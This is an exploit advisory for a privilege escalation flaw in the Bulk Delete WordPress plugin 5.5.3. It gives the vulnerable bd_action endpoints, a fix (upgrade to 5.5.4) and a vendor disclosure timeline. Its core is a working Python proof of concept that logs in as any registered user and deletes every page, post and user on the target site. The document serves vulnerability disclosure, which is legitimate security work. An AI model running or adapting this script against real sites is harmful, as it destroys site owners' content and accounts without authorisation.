* Exploit Title: Bulk Delete [Privilege Escalation]
* Discovery Date: 2016-02-10
* Exploit Author: Panagiotis Vagenas
* Author Link: https://twitter.com/panVagenas
* Vendor Homepage: http://bulkwp.com/
* Software Link: https://wordpress.org/plugins/bulk-delete/
* Version: 5.5.3
* Tested on: WordPress 4.4.2
* Category: WebApps, WordPress


Description
-----------

_Bulk Delete_ plugin for WordPress suffers from a privilege escalation
vulnerability. Any registered user can exploit the lack of
capabilities checks to perform all administrative tasks provided by
the _Bulk Delete_ plugin. Some of these actions, but not all, are:

- `bd_delete_pages_by_status`: deletes all pages by status
- `bd_delete_posts_by_post_type`: deletes all posts by type
- `bd_delete_users_by_meta`: delete all users with a specific pair of
meta name, meta value

Nearly all actions registered by this plugin can be performed from any
user, as long as they passed to a query var named `bd_action` and the
user has a valid account. These actions would normally require
administrative wrights, so we can consider this as a privilege
escalation vulnerability.

PoC
---

The following script will delete all pages, posts and users from the
infected website.


```
#!/usr/bin/python3

########################################################################
########
# Bulk Delete Privilege Escalation Exploit
#
# **IMPORTANT** Don't use this in a production site, if vulnerable it wi
ll
# delete nearly all your sites content
#
# Author: Panagiotis Vagenas <pan.vagenas@gmail.com>
########################################################################
########

import requests

loginUrl = 'http://example.com/wp-login.php'
adminUrl = 'http://example.com/wp-admin/index.php'

loginPostData = {
    'log': 'username',
    'pwd': 'password',
    'rememberme': 'forever',
    'wp-submit': 'Log+In'
}

l = requests.post(loginUrl, data=loginPostData)

if l.status_code != 200 or len(l.history) == 0 or
len(l.history[0].cookies) == 0:
    print("Couldn't acquire a valid session")
    exit(1)

loggedInCookies = l.history[0].cookies

def do_action(action, data):
    try:
        requests.post(
            adminUrl + '?bd_action=' + action,
            data=data,
            cookies=loggedInCookies,
            timeout=30
        )
    except TimeoutError:
        print('Action ' + action + ' timed out')
    else:
        print('Action ' + action + ' performed')

print('Deleting all pages')
do_action(
    'delete_pages_by_status',
    {
        'smbd_pages_force_delete': 'true',
        'smbd_published_pages': 'published_pages',
        'smbd_draft_pages': 'draft_pages',
        'smbd_pending_pages': 'pending_pages',
        'smbd_future_pages': 'future_pages',
        'smbd_private_pages': 'private_pages',
    }
)

print('Deleting all posts from all default post types')
do_action('delete_posts_by_post_type', {'smbd_types[]': [
    'post',
    'page',
    'attachment',
    'revision',
    'nav_menu_item'
]})

print('Deleting all users')
do_action(
    'delete_users_by_meta',
    {
        'smbd_u_meta_key': 'nickname',
        'smbd_u_meta_compare': 'LIKE',
        'smbd_u_meta_value': '',
    }
)

exit(0)

```

Solution
--------

Upgrade to v5.5.4

Timeline
--------

1. **2016-02-10**: Requested CVE ID
2. **2016-02-10**: Vendor notified through wordpress.org support forums
3. **2016-02-10**: Vendor notified through the contact form at bulkwp.co
m
4. **2016-02-10**: Vendor responded and received details about the issue
5. **2016-02-10**: Vendor verified vulnerability
6. **2016-02-13**: Vendor released v5.5.4 which resolves this issue